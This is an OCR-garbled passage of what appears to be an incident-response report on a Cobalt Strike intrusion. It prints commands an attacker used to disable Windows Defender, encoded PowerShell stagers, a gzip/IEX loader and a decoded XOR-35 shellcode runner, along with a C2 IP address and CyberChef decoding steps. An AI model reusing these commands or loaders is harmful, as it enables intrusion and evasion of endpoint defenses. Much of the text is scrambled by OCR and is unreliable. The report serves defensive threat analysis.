vl Service Control, CreatelouService: Seeresd: pouersheLl.exe -nop -w MiLdden —c Set-pPrererence -Dissblenealtinenonitoring Strue SHEEEEEREE 2RPRE S EEm
Operation: CreatehouService (€0 codo d 0 65 00 4d 00 of G0 e 0@ 63 00 74 00 6F GO B
Tresponse in frame: 11 coso 72 00 69 00 G2 00 67 G0 20 00 24 0 7 00 72 @0 T
75 00 €5 00 00 00 60 G0 G0 0@ G0 00 00 60 60 GO U

~ Pointer to scn Handle (policy_handle)
> policy Handle
Max count: 8
offset: B

WULL Pointer: polnter to DisplayName (uintié)
Error Control: SVCCTL_SVC_ERROR_IGNORE (@)
=

0 60 00 00 <c o1 00 G0 00 6B 00 02 00 60 0O 90 L

£
| ———m—reppry |
i GCRCTE

MULL pointer: pointer to Tag 1d (uint32)

NULL Pointer: Pointer to Dependencies (uints)

Dependencies size: @

MULL Pointer: Pointer to Service Start Name (uint1e)

MULL Pointer: Pointer to Password (uints

Password Size; @

Service wow Type: 332

Auth Padding: 66680006000©00000008 Frame (300 bytes) ~ Decrypted data (288 bytes)  Decrypted NTLMSSP Verifier (12 bytes)

Hands On Keyboard

Using a compromised account, the threat actor was observed moving payloads between hosts using Notepad. The

file they dropped the content into was aptly named ‘payload.txt’.

CommandLine =

"C:\Windows\system32\NOTEPAD . EXE™ C:©

i

\payload. txt

The file payload.txt was captured on network share before the threat actor dropped the content into a text file with
Notepad. The data contained both an encoded PowerShell command and several commands to disable

functionality in windows defender.

LU o o pedrOE. s . RN
hidden -encodedconmand JABZADOATgB1AHCALQBPAGI ABgBL) g AGEACWBL p 1
i el g a TEBLAET g e ABUAC EACEA y iAGH
o TAagBUAETAVOBTAGKAVQE L AEUAQBIAFAAMEATAHUASABRADU TWBMAFEAMQBPAEWAEQ AFEAVABIAGC EMAags
IgBVAG BAUQBhAEKAT. e i 1A DEAZWBYAGEAT. =
YAGTAL QAGHBSAD SACABTAHTAOABCADIAYWBTAHOASABC ANAABAD) 0B1ADKASABLS 4G DAANWBCAEWADHE
SAFT 1ACsAdg] AHTAQUBMAGS
de aQBL/ TAGOAL 2, AASACBANQB] = g Aa: igh
UAFIAL P 1AEQAT: s TARWBKAD AECAZWBBAHEABQBFAFTAU) WASAHEACQE
ACQBIAFQAVEE 1AHUAGQE AGOAKwE LAEBAN i g o = sAcgh
1 1 BAUQB SAHQANC!
EAUQBACS AL TABXAFUATQ) £8DAG gBKAFQATQBLAEKAVWBO) 1A2QB1AEGALABLAHEAL 8 gt
05 JAEYAT, 1 QAUEBLAHC SAQEASADC
ALWBCACSAN TAGQ g RQBAAF 3] gAbg: TWBFAGSACQBGADQAQBZAHC ACQBYAHOANQBYAESANEE
g 5" 8t & QANgE:
QB GREMAT 0 XADCAJgBSAF AU ATQ BUAHYATQS 1 AFT 1gBSACBANEB3ADKAVQB
¢ TANWBZAGOAT g gAl gASAFg 8 Gk
AKWBJAHUARWET) AN gBUAD i g gl 1 YAUQS: 0AMQB
1ADUASQBMAHUAMABUAFEAYEA4AE B ANWBOAHYAZAASADTACHE 1AGEAZABS AHMA: 2 gBCAC: g kaGQ
RWAGAE [AVABSAGU (gBJADEADABL y 7
EAGL TAZABUAF: e QB AD! 080 T g 1, Q TAUQE QAEgAC WALADE
& G g /gBXAEIAdgBL/ IEALAEL KinyADTARNBDAD; 1 g RB
-ARQBAAD) IQBVADTAQEB6AHY \TEBSAGHMARQE ZBIAHYAC g AF gAY
IAGEAL: 1 b oL 1AGQASQB
i = ! gAbQBTAD g ! = TgBuAHg! a AVWBSAGCAQEBNAFC o
T, p YWBLACSA pAFKANQBUAGEA y g BRADCA AFC ANAB: g gt B 1 AHQBAACEACQEXAGQAgE
TAagBAGIALWBLS gt i
gBNAHT AYZBDAFQ) i g /QBQAF AREABU WBNAFQATABZAFUAUZB T/ WB1AHQANQE ] j ZADIMASQA
WAESAWQBLADEAUB1ADCAMATACS ACQ: UABC, ig QBLAGQAT) g ZAOABCAEGAT, GAWAFTASQATAI BAQUB L
Aaugs; QBAGMATQBYAF CAUEBYAEUADABHAEUAUZB SADUA = AUABTAHUABAB
tAFL bUBZAETAKWBGAC: 820, g WBBAC gBnAFk: p QBFAF gATAAGAE4ATQB 3ACOATHE 1AGOAZQB JAHQATABI AESAL EBTAHQACEE1AGEABQE SAGUAYQBKAGUACEAOAES
AZQB3ACOATWB1AGOAZOB] JAEEAL g gAJABZACHAHNEIAESAL I KAKQAPAC4AUEBLAGEAZAR
UAGBARQBUAGOAKAAPADSACEA=
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan” /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance” /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup” /f
schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification” /f
Set-Hpi -DisableRealti itoring $true
Set-Hppreference -DisableArchivescanning $true
et e -Disab i itoring $true
Set-NpPreference -DisableIOAVProtection $true

Set-Hp & -Disablel ionsys.

Set-Hpi
Set-HpPreference -MAPSReporting ©

Set-HpPreference -DisableCatchupFullScan $True

Set-Hpi -Disablet i STrue...P.SHBE.......

iles $true

We can see the threat actor then copied the data from Sysmon eventID 24, which also shows the threat actor
hostname as DESKTOP-GRALDCS.
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Clipboard changed:
RuleName: -
UtcTime:
= {9c211c88-9fff-63dc-f501-66088
ProcessId: 5668
system32\WindowsPowerShellywl.8\powershell.exe

ClientInfo: user: ip: |192.76
Hashes: SHA1=DA39A3EESE6B4BBD3255BFEF95681898AFDE

8789, K MD5=D41D8CDOBFBBB2E4E9868998ECFE
298FCT1C149AFBFACB996FB92427AE41E4649B934CA495991B7852B855, IMPHASH=€
B8B808066068606

8.14.128 hostname:| DESKTOP-GRALDCS
1

Archived: true

User:

Collection

Besides password related documents mentioned in credential access other sensitive files were accessed using

WordPad. Some files of interest were legal-related files and folders such as Contracts.
Command and Control

Cobalt Strike

The Cobalt Strike server used for this intrusion has been tracked in the DFIR Report threat intelligence feed

before the incident occured.

91.215.85.143:443
JA3: 72a589da586844d7f0818ceb84948eea
JA3S: f176bab3b4d68e576b5ba345bec2c7b7

CS Stager

During the intrusion, we also observed the malicious PowerShell execution that contains base64 strings from the

domain controller.
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ate:
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RuleName: technique_id=T1@59.0@1, technique_name=PowerShell

UtcTime:
Pr d: {9c211c88-al1 d
ProcessId: 2444

Image: C:\Windows\System32\WindowsPowersShell\v1.@\powershell.exe
FileVersion: 16.0.17763.1 (WinBuild.160101.0800)

Description: Windows PowerShell
Product: Microsofte Windowse Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE

CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABZADBATGB1AHCALQBPAGIAagBLAGMAAAAGAEK: ACgAL
1ADYANABT, I QQBL TALWBP 9B T o QBT/ QATgBLAEL g
TQ 1 QByAF! i TAawB, TAagBUAETAVQBTAGKAVQBiADT. 1AGEAR
ASAA4AHKAQABLAEUAJQBIAF AAMgAT FoA' AFEAVABiAG AEMAagBj HoAaABL. T
p 3AE4 IA QAQgBLADg. gAT. 6L Q
TAHT. WBt 1 ADKASABL, FAADQB 1 I QBSAHQA
RABYADL. 1ACsAdgBr TAZQ! 1AFTARGAT i 1AEBA
1 ‘GAZQBTAGOAL: AGEAUQB. 1ADUATABYAG: TAFEAMAB:
aABZ TAL r YADWATAEQAT) 1 Q QAET E 1 AE4A
TQBVAE: AFQAVgB1AHUAaQBjAGOAKWB1AEBANAATAHYAdWB1 1
LAy 1 AEBASWBIAF: 1 1AFoA
1 TWBZADCABABK TABXAFUATQ 1 1AG4 TQBLAEKA
TAaQB1AEGAWABL TAE 1 A
JAEYATgB1 1 gl T QAUg 1
TABL/ 1 EM qAGBAT IgB1AHT
T I gAMQl AGY H 1AFQANgBT (!
TgBGAENA AT MgAr AHQAY gBKAF T 1AG4 A
AL I oA QAT
g T B6ADQANGBT/ TAKWB] AHUARWBTAF 1AGSAY QAVQS 1AG4A
VWBL, gAdQ Y T 1 ZAA3ADTACWB1AGEAZABSAHMA: g Q
CAOQA T QBDAE@ALWBYAEMAZGBXAHT,
3 ADEABAB: BEAGTAYQA2AGIAZABUAFTAaQBr 3 A
-ADYAagBT, 1AETARWBUACBAZAAXAEUA 1 1 1
2081 1 g TAdgBL 1AETAD, AKWAYADL QBKAFL q g
ADL TwB 1 AGUANGBL TAQAr QA2AFgA
TAb Qi AFQA JAGGAL I TAHMAG, QBPADT. 1ADT
MABGAGHA Q AGQASQB: rAE4AZQ) 1 AB
ASADL AGBAMWBI, TWBT/ ACSATWBUAEOATWBD, q BRADCATQA4AESALY 1
Q Z AF T TAagBGAGTALWBL 57 TWBIAGH
Q v QBiAFMAZQAGADL QBNAGQ 'gBDAFQAMg g TAGWAUABI AF
gAvg BnAFQAT, IgBTAGK b 1AHQANQB ] HYAVWB! ADEAUWBTADCAMWAT TAWgB6A
QBWAGQAT, Tg QAr gAagAWAFTASQAT 1 AHMAEABZAE@ASWAT AFYAUABSADQAWAAZ
1 Y/ Q \TWArAHEAQ IgBLAEYAQ AGCAUABI TAdQA
TAKWBQAC: QAT AHKAEABC B0, YATg 9 QBFAFQA/ @ATWB1iAGOAZQBAHQATABJAEBAL gBTAHQACGBLAGEADQ
QB3ACEATWB1AGOAZQBj AHQATABJAESAL AZQBZAHMARQBVAGAAL A JAESAL AZQ QBAADOAD
gBEAGU KAKQAPACAAUGBLAGEA A=
CurrentDirectory:
User:
LogonGuid: {9c211c88-66ef-63c8-1110-060000600000 )
LogonId: @x61011
TerminalSessionId: 1
Integritylevel: High
Hashes: SHA1=6C 163791 ,MD5=7353F60B1739074EB1 A 5DC1 D73628EF4FE1B1B168AB32C, IMPHASH=741776AACCFC5B71FF 59832DCDCACERR

ParentProcessGuid: {9¢211c88-aBa2-63dc-fdo1-000000000400)

ParentProce:

ssId: 2496

ParentImage: C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe"

ParentUser :

After decoding the base64 strings using CyberChef, the output generated looks cleaner. However, we also noticed

the second layer of the obfuscation on the output below.

Recipe

From Base64

Alphabet

A-Za-20-9+/=

[ strict mode

Remove null bytes

V]

Last build: 5 months ago - Version 10 is here! Read about the new features here

S

[ Remove non-alphabet chars

n

Options Q About / Support 0

Input + O3 8 =
JABZAD@ATgB1AHCALQBPAGIAagB1AGMAdAAGAEKATWAUAEQAZQBAGBACGBSAF QBtACgAL. BUAHYA AGEAC
WBADYANABTAHQACGBPAGAAZWAOACL QBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABNADIALWBPAFMAQgBiADKAbg ASWBMADTAZWBKAFUASg 2Q
BT, AdABGAHMAQQBFAEQATgBtAETAagA4ADg AGSAYgBFAEWA B ABUAC Y AGMATQBKAEBAbGBOADKARWALAEWAAQA
WAGKAVWBXADgACgAZAGMAZQBYAFUAdgB 1A AGOASGAZAEOACQBOAF IAawB] TAagBUAETAVQBTAGKAVQBiADIAKWBYAGEAZQBNAHKAUABL
AGEARAAXAHGAVgBpAHTIAegBHAE4AMWBGAGYASAA4AHKAAABLAEUAdQBIAFAAMgAL, 0ATWBMAFEAMQBpPAEWA BLAFEAVABiA
GCAZwA4, BLAEMAagBj Y BtAHoAaABL/ ARABPAC:! T) gl )ANABKAHUAUWBMAHAAVABpPAF cAbwA4AE

g F
QAQQA@AGMAdAB2AHYAegBWAFQAUWBSAEGASQB6AHYAUAA3AE4ADQBKAFMAawBXAETAZWBRAFQAQQBLADGAZWBYAGATAAYAE cCAeQBSAGGAVABKAEQAUGBZAGIANQBEAEW
AaABUACSASABMADYAMWAYAGIAUgBBAHUASABYAE@AUWBPAFQAYwBKAGQAdwB5ADYAawAWAEBAUABMACSACABIAHIAOABCADMAYwBtAHOASABCAEWASGAVAD CANAAQADKA
YwAOAGYAbQB1ADKASABLAHYAYgBGAE8ASABKAFAADQBj AGUAVQB3AFkAQwB1ADQAOQBRAG4ASQBGADQAZQA4AEMAZABBAGCAKWBAAGKAaQBMADAANWBCAEWADWBSAFIAY

QBzAHYAcWBKAEQAaQB2AGWAZQB5AHQARABYADIAZgBN TAWABPAEC AWABZAHCARAA1ACsAdgBrAGwAdQASAGEAeQBUAHOAOABGAHCAQWBOAHgASQ
BaAHCANQB6AFIAZQBHAF0AKwAZAHQAKWB1AFIARGArAGY ABDAEg, IACABYAFE AHUASQA3AHIAQwBMAGsAdgB1AE8ARQAZAGBARQB
HAF cAZWBKAGEACGB rAEUAegBpAHgAYwWA1AFEAbUBBAGCAGQBLAF CAMABSAEMANABZAGCARWASAFGAZQBTAGOALWBKAGMAAWBKAGEAUQBIAGQACAASACBAMQBTADUATABY
AGSAZgA3AESANWBtAC8ACQBWAFQALY TAFEAMABZAE! 1QATQ, BKAF cAaAB: BUAFIALWBRAGY AHgAKwWBD,

EwARABDADCAZAArAGYA@ABhAHEASABDAEYAbWALAEQATA 4ANWB ANB5AFEAKWBGAEIARWBKADYAMB3AFMAEABLAE
CAZWBBAHCADQBFAFTAUABMAEWAQGBIAE4ATQBVAEYAVGA3AGUACGATrAGY ACWASAHEACQBAAEYASAASAHEACQBIAFQAVgB1AHUAAQB) AGOAKWB TAEQANAATAHYAAWBAEU
AZgBZAGUAN, BKAH QB2AHYA€QA1AF g AGYAZQBMAF GAGGARQA4AGOARg ALwAYAFoA
bQBOAEOAVQBFAF TAMOB! gARAA4 sAegBrAEBASWBIAFAAUAA2AGBACABBAF cAWgB2AHUADWAWAHOATWBNAGOARGBj ADAAD
ABBAEY: YAHMAdwAL) 1AF0AUQB 8AUQBSAHQAWQA1AFgANWAZAHOATWBZADCADA
BKAG4 BRAHAA 4AHOAd) B \UOBtACSAUABKAEOAUWBSAGOAVOBEAFaAUAB2AGMATABXAFUATOBPAHCANaBDAGIAAOB
me 7526 = 2 Tr Raw Bytes & LF
Output %] [_I:l M o

$s=New-Object I0.MemoryStream(,

[Convert] : : FromBase64String ("H4sTAAAAAAAAAK1Xa2/ iSBbINPWKT2gIUI0seSazVUtj SAEDNMB]88hEKbELKFx+UC7zmpn/vrcMI0nt9IG5LudiWwg8r3cerUvbeu
ImJ3JgPYZVrkIeHORjTBUSiUb2+XaegyPuaD1xVirzGN3FfH8yhKEuHP25uhQ51AyH/Z0fQ1iLyUoKKQTbgg81KKCj c3tzfZUhomzhK9hg7D0/QaILaOVET4JuSfpTiWo
8DB4ctvvzVTS1HIZvP7NmISkqBgQTBK8gXhL2GyRhTADRYb5DLhT+HL632bRAUHXMSOTcddwy6k00Pf+pHr8B3cmzHBLI/7449c4fmudHKvbFOHIPmceUwYCu49QnIFde
8Cdzg+xiif@7BLoyRasvsIDivleytDr2fgtTP2X0Gys1XswD5+vklu9ayTz8FwCNxIZw5zReGZ+3t+eRF+f@NjpCHDAbpXQ4ZoFJul7 rCLkvuOE30EGWgJarkEzixc5Q0
Agikwe1C4YgGIXeS]/IcwIaQIdp9/1e5LXkf7K7m/qpT/qARSQ@YLXUtM/AodWhY3Z30wnR/QfwiuAvx+CLDC7d+fhagHCFo5DLOY4PdD rN7e3DxnQwT7yQ+jBGd63wSx:
KGgAwmERPfLjHNMUFV7ez+fs9qqZFHIqqHTVuuicj+eM45vwbEfYe7mIKdxeooevvy5STDXE+fefZ40M1jhE8] FOAuxeAz7/2ZmhJUEZH/dXMR1wSnOXD81iTL+zkOKHPP
60pAWZvU00ZOMMF cO8AFYRE4Xsw52zPM59RQQwHWA55DmMH5ZQpghg/Q1tY5X7320Y71InCQpCsMUBtwt CiZyCPKKghQm+PJJSmUDXPVcLWUMOWECbuaey 18QunFdTMKIW
NSF@4XaBibMXKxQzgrRaGDPdQ4mnh1hZD71J0mQwikHFjawZnACufCZDxmqFf89/903JuIqUFMUADSWRVGEWCFNeeSUVm40Svk5f4D7GuenJ0Cc3U16QNoCACTRKwo21g
YqGu54g+B97/B+77EFAezSAHLIPNZIgpLKOj nKgDsIPgEXRhthccCT8HNxpHXXPgye3X5ZfPt j eaMVMpApUW] 00EKqF41swqXz1XK6e rwNOZzXj 9pGLXePs1A/ukKFNV2r
7dTXh1E5]jdwxo9u0IsPccMtIQtokXqz7W+fQ32w0T83pURTK5T6U4xpW@37j FLawG4DeaBDNj Ceq7vRWRIKHX rM1sRy82Wa+0qBa8hTn2D+59TUd LFE@2+tbdTeUvMnOr
Qe9qFVnoGunShpTIROMZ21/2wIUXF3vZIt1d2r7sdMrz5xHsnhAmb635b5m29X04 fPTES/ jbRNR7mcG3KNKqY4m3YdZGGMOSVenvY5d7ySj chfWo0hz46Sin9y 172+cuG
SZfqk3tuZT4KbkbGlrUafmLCY7W7L8ynBOM2y7FmDUOU7s LrunWezPPXurVIaLXtKEvVYI3aZdHNRWWD1e5ILu@TQb807Nvd72seadysdwWXHXqFAOVB/D1wD12rWSjoEH
0T1s4cNd12d14T0G6rQH2akfv9qYHUmW9+ZD7Ef2NWddGAGO7TXQMtWMDYxzYc7JzppmeCM/XCFWrTye30h8410M76c11bDIMIFMSTrUkp IWOK1YG+ySuP8J4qPoa7ahY
2xzrHdDbabébdnRik5chrSVck@ZDtxtDOq/ rYj3XZIiP1H+6jSiwlqruBGn/d1Edo1Tu6PalCIngMVBMRAMMtXu9PHPI13W1s57VdaXdSp INSFYvzxoQaeuVxvgbepZEyH
9sHX7bF+cLeH/q2WBvKYnds iU+9kdKdmv5B11ssW2+22GC8F2paJR3wNIq2GGVjOWEX9h9n1ro6lo102Bztu+2WipS9uOhjgkdKo22V3MFC70pGa94@ IN1cEue6HM73Mr
wvsh0QPRi+3basudEe6X275I3bo702Ug4dY1XgWmTetuxIh/1Ab1bjmd+QDKIP5WD01z0QSwroKRMrHs t7vQ02hiPitcFu2VLmhhx@F cMvTUEmHbdIbyw+NeXGTFf2wt9
TYt0QD5Y16czba7ZsSDOp4hmm77XHtqu1IHHC InTDNNXTWYnj50rvf92WygBVWWt97G8GWokmo3H3cdK0S4cG6ui9tZgcK+0nJ0iYYohp+NVjo32Fb0bdQ7M8K/vY3Zd
eWDVQEZW4YYRx0JWDes49AaT1ZTHVGLWYx/yWdvM4mSjHTk7hrjjb/KwrshtnidJp7GH2FbgMeGpcVkIZCDOHc iXA3Nog8tFA1e0U31KrEnUbSe421ts7J3xgCqMdgNIA
nF5qmrMrbCT216 rumKoE91I4FGnS IPbLVTVKBXVZUShTzqdePPXT4EP7ggTLSURSiIU4mz569eset5cvjzDOkvWcHEY3100YK1Su735+9pY7IwPBfZnbZzmeGTtECi80T
pdL9IWRFuXhmoYYabRz3/+HBBHNEQE+mPooK/Xj @RI5PIW8Ce9209vFwRcsxYMK+VPRAX3m6RQUNER13552Pgkyxav7eL7nTOH/RXTWOy j cMXWRUEBVERR50+qCLZ+nZZ
mFB/zF2tF3iR+gPHuhmRu3no6moYB+j+y/53P/84rZy5rMI95yxB9Tha/t/8FFNFWIgYOAAA=")) ; IEX (New-Object I0.StreamReader(New-Object
10.Compression.GzipStream($s, [I0.Compression.CompressionMode] : :Decompress))).ReadToEnd();

e 2821 = 2 @ ons Tr Raw Bytes ¢ LF;
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After initial Base64 decoding, we found the payload used the default Cobalt Strike XOR value of 35, allowing for
the next step of decoding the payload based on the output below.

Recipe B8 input +0O38 =
DB4ctvvzVTS1HIZvP7NmISkqBgQTBK8gXhL2GyRhTdDRYb5DLhT+HL632bRAUHXMSOT cddwy6k@OP f+pHr8B3cmzHBLI/7449c4fmu9HKvbFOHIPmce
From Base64 o n UwYCu49QnIF4e8Cdzg+xiif@7BLoyRasvsIDivleytDr2fgtTP2X0Gys1XswD5+vklu9ayTz8FwCNxIZw5zReGZ+3t+eRF+fONjpCHDAbpXQ4ZoFJul

7rCLkvuOE30EGWgJarkEzixc5QoAgiKwO1C4YgGIXeS)/IcwlaQldp9/1e5LXkf7K7m/qpT/qARSQOYLXUtM/AodWhY3Z30wnR/QfwiuAvx+CLDC7d+
Alphabet . fhagHCFo5DLAy4PdD rN7e3DxnQwT7yQ+jBGd63wSXKGgAWmERP L jHNMUFV7ez+fs9qqZFHIqqHTVuuicj+eMa5vwbEfYe7mIKdxeooevvy5STDXE+f
A-Za-20-9+/= Remove non-alphabet chars (7 ou 5 neg j FoauxeAz7/ 2ZnhJUEZH/GXMR1WSnOXDB1TL+zKOKHPPGOPANZY 0D ZONMF CBBAFYREAX swSZPM5IRQQWHWASSDMHS ZQpaha/ QLEYSXT
3z0Y71InCQpCsMUBtwtCiZyCPKKghQm+PJJS ImUDXPvcLWUMOW6Cbuaey18QunFATMKIWNS FO4XaBibMXKxQzgrRaGDPdQ4mnh1hZD7130mQwikHFja
R wZnACufCZDxmqFf89/903JulqUFMUADSWRVQEWCFNeeSUVM40Svk5f4D7GuenJ0Cc3U16QNoCACTRKwo2]gyqGu549+B97/B+77EfAezSAHLIPNZIqgp
I:I Strict mode LKOjnKgDsJPgExRhthccCT8HnxpHxXPqye3X5ZfPt jeaMVMpApUW] 00EkqF41swqXz1XK6e rwNOzXj9pGLXePs1A/uKFN1V2r7dTXh1E5]jdwxo9u0Is
PccMtIQtokXqz7W+fQ32w0T83pURTKS5T6u4xpW037 j FLawG4DeaBDNj Ceq7vRWRIKHXrM1sRy82Wa+@qBa8hTn2D+59TUd LFE@2+tbdTeUvMnOrQe9q
FVnoGunShpTJROMZ21/2w9UXF3vZ]t1d2r7sdMrz5xHsnhAmb635b5m29X04 fPTE5/ jbRNR7mcG3KNKqY4m3YdZGGMASVenvY5d7ySj chfWaehz46Si

Gunzip o n e 2624 = 1 Tr Raw Bytes ¢ LF

Output B0Om::

If ([IntPtrl::size -eq 8) {

[Byte[1]1$v_code =
[System.Convert]::FromBase64String('32ugx9PL6yMjI2]yYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2ss1G1pbhLgaxLjjx9CXyEPA2Li615
iIuLBznFicmuocQOoYRIrIvNFols7KCFWUaijqyMjI2um41dEayLzc6hr02eoYwNgIvPAdWyc6mKoF6t rIvVuEuprEuOPYulLglmIidhvDVtIvIG8HK2
Ya81lb7e2eoYwdqIVNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2]6eWuoMcps3NzcfkkjaplUSk1KTUZXI2]1aqrFb6rSY
plvVAUK3PZrEuprEvFuEuNuEupic23zYpkZdVqE3PbKsCMjI31rqulim5giIyNuEupicmlySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOn
cXFimch2DRj cOmug5Wug4HNIKXx rqtKZPCMj I0k]jS6MQIyNggsNimicj IyNimVZ1lvaXc9mugq@mug+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4ilyN
r30wsp68iIyPIKMrHIiMjy6Hc3NWMSVIWR1FaDhANEAORDVBPSk4NTKpNDU1QI/c8I1UIo6cmIp+]j6QegKycKA31wNpigPQeeu566LW7sf6aBqZ5viv
ZEXXDgp@ZBWrRN38ZhI2JAQEZTVXKDVOZbVwxLVO5PDOITUOIKQEIXSkxXNDFtLV@5PCFt0TwICUINPSKBCV@PMTQxbTk8YUh4TDROPCQWIGFIeEWObL
i1iQEBGU1cObOINRFZCREYZABZNDNZwDOZNGFIeEwOWL i 1xRkVGUUZRGQNLY1dTGQWMQEXHRg1JU1ZGUVONQEXODC4pYKBARINXDMZNQEXHSK1EGQNE
WUpTDWNHRKVPQ1dGL 112UEZRDmMIERK1XGQNUTF 1KT@9CDBYNEWMLAEPNROXUUANtdwMVDRAYA3dRSKdGTVCMFA@TGANRVRKSEGOTCgNPSkhGA2RGQEh
MLikjOM1rsQTJ8WGp1xBeHNKh@sy3T9smHS@nirn+dtQw31jZIxC2Y2kicw2120U5rMlgnjtletpF5iNindOWgXXcOmsS6pkjI2MjYpsjMyM]jYpp]jIy
MjYp17h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZro0cDpuNX1UWolGsi4KbjVvR7e3trJowsIyNz4Mtc3tzcGhINERIWDRSWDRIXE
CMvbIdx')

for ($zz = 0; $zz -1t $v_code.Count; $zz++) {
$v_code[$zz] = $v_code[$zz] -bxor 35

}

$var_va = [System.Runtime.InteropServices.Marshall::GetDelegateForFunctionPointer((func_get_proc_address
kernel32.d1l VirtualAlloc), (func_get_delegate_type @([IntPtrl, [UInt32], [UInt32], [UInt32]) ([IntPtrl)))

$var_buffer = $var_va.Invoke([IntPtrl::Zero, $v_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshall::Copy($v_code, @, $var_buffer, $v_code.length)

$var_runme = [System.Runtime.InteropServices.Marshall::GetDelegateForFunctionPointer($var_buffer,
(func_get_delegate_type @([IntPtr]) ([Void])))

$var_runme.Invoke([IntPtr]::Zero)
STEP
Auto Bake it =

After decoding the second layer of obfuscation using the XOR key of 35, we have the next layer of base64 strings.
We can use the XOR key 35 to decode this again. We can use the below CyberChef recipe as our next step.

Regular_expression('User defined','[a-zA-Z0-9+/=]1{30,}", true,true,false,false,false,false, 'List matcl
From_Baseb64('A-Za-z0-9+/=",true)

Gunzip()

Label('Decode")

Regular_expression('User defined','[a-zA-Z0-9+/=1{30,}",true,true,false,false,false,false, 'List matc!
Conditional_Jump('', false,'',10)

From_Base64('A-Za-z0-9+/=",true)

XOR({'option':'Decimal', 'string':'35"'}, 'Standard', false)
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Recipe BB & Input +O3 8 =

H4sTAAAAAAAAAK1Xa2/1iSBb9nPwKf29JUJ0seSazVUt jsAEDNmBj 88hEKbELKFx+UC7zmpn/vrcMIOnt9G5Lu@iWg8r3cerUvbculmI3IqPYZVrkIeHORj TBUSiUb2+Xae
gyPuaD1xVirzGN3FfH8yhKEuHP25uhQ51AyH/Z0fQ1ilLyUoKKQTbgg81KKCjc3tzfZUhomzhK9hg7D0/QaILaOVET4JuSfpTiWo8DB4ctvvzVTSTHIZVP7NmISkqBgQTBK
Built in regexes 8gXhL2GyRhTdDRYb5DLhT+HL632bRAUHXMSOTcddwy6k@0Pf+pHr8B3cmzHBLI/7449c4 fmu9HKvbFOHIPmceUwYCu49QnIF4e8Cdzg+xiif@7BLoyRasvsIDivieytDr2
User defined fgtTP2X0Gys1XswD5+vklu9ayTz8FwCNXIZw5zReGZ+3t+eRF+fONjpCHDAbpXQ4ZoFJuI7 rCLkvuOE30EGWgJarkEzixc5Q0Agikwe1C4YgGIXeS]j/JcwlaQldp9/le5L
Xkf7K7m/qpT/qARSQOYLxUtM/AodWhY3Z30wnR/QfwiuAvx+CLDC7d+fhaqHCFo5DLAYy4PdDrN7e3DxnQwT7yQ+]jBGd63wSxKGgAWmERPfLjHNMUFV7ez+fs9qqZFHIqqH

Regex TVuuicj+eM45vwbEfYe7m9IKdxeooevvy5STDxE+fefZ40M1jhE8]jFOAuxeAz7/2ZmhJUEZH/dXMR1w5n0XD81iTL+zkOKHPP60pAWZvu0@Zz0OMMF cB8AFYRE4Xsw5zPM59RQ
[a-zA-Z0-9+/=1{30,} QwHwd55DmH5ZQpghq/Q1tY5X73z0Y71InCQpCsMUBtwtCiZyCPKKghQm+PJJSmUDXPvcLWUMOwW6Cbuaey18QunFdTMKIWNSF@4XaBibMXKxQzgrRaGDPdQ4mnh1hZD71]
OmQwikHF jawZnACufCZDxmqFf89/9o3JuIqUFMUADSWRVQEWCFNeeSUVm40Svk5f4D7GuenJ0Cc3UT16QNoCACTRKw021gyqGu549+B97/B+77EfAezSAHIIPNZIqpLKOjn
KgDsJPgExRhthccCT8HNxpHxXPqye3X5ZfPtjeaMVMpApUW]j 00EkqF41swqXz1XK6e rwN0zXj9pGLXePs1A/uKFN1V2r7dTXh1E5jdwxo9u0IsPccMtIQtokXqz7wW+fQ32
wOT83pUR1K5T6u4xpWo37 j FLawG4DeaBDNjCeq7vRWRIKHXrM1sRy82Wa+0qBa8hTn2D+59TUd LFE@2+tbdTeUvMnOrQe9qFVnoGunShpTIROMZ21/2wIUXF3vZIt1d2r7
sdMrz5xHsnhAmb635b5m29X04fPTE5/ j bRNR7mcG3KNKqY4m3YdZGGMOSVenvY5d7ySjchfWeohz46Sin9y 172+cuGSZfqk3tuzT4KbkbGlrUafmLCY7W7L8ynBOM2y7Fm
DUOU7s lrunWezPPXurVIaLXtKEvVYI3aZdHNRWWD1e5ILu@TQb807Nvd72seadysdWXHXqFAOVB/D1wD12rWSjoEHoT1s4cNd12di4T0G6 rQH2akfv9qYHUmWI+ZD7EF2N
WddG4GO7TXQMtWMDYxzYc7JzppmeCM/XCfWrTye30h8410M76c11bDIMIFM5TrUkp lWOk1YG+ySuP8J4qPoa7ahY2xzrHdDba6bdnRik5chrSVck@ZDtxtDaq/ rYj3XZIi
P1H+6jSiwlqruBGn/d1Edo1Tu6PalC9ngMV8MRQmMtXu9PHpI13W1s57VdaXdSpINSFYvzxoQaeuVxvgbepZEyHIsHX7bF+cLeH/q2WBvKYnds iU+9kdKdmv5B11ssW2+2
~ and $ match at newlines 2GC8f2paJR3wNIq2GGvjOWEX9h9n1ro6lol02Bztu+2WipS9ulhjgkdKo22V3MFC70pGa940 IN1cEue6HM73Mrwvsh0QPRi+3basudEe6X27513bo702Ug4dY1XgWmTetu
xIh/1Ab1bjmd+QDKIP5WD01z0QSwroKRMrHst7vQ02hiPitcFu2VLmhhx@F cMvTUEmHbdIbyw+NeXGTFf2Wt9TYt0QD5Y16czba7ZsSDOp4hmm77XHtqulIHHC InTDNNXT
WYnj5orvf92wygBVWWt97G8GWokmo3H3cdK0S4cG6ui9tZgcK+0nJ0iYYohp+NVjo32Fb0bdQ7M8K/vY3ZdJeWDVQEZWAYYRX0IWDes49AaT1ZTHVGLWYx/yWdvM4mS jHT

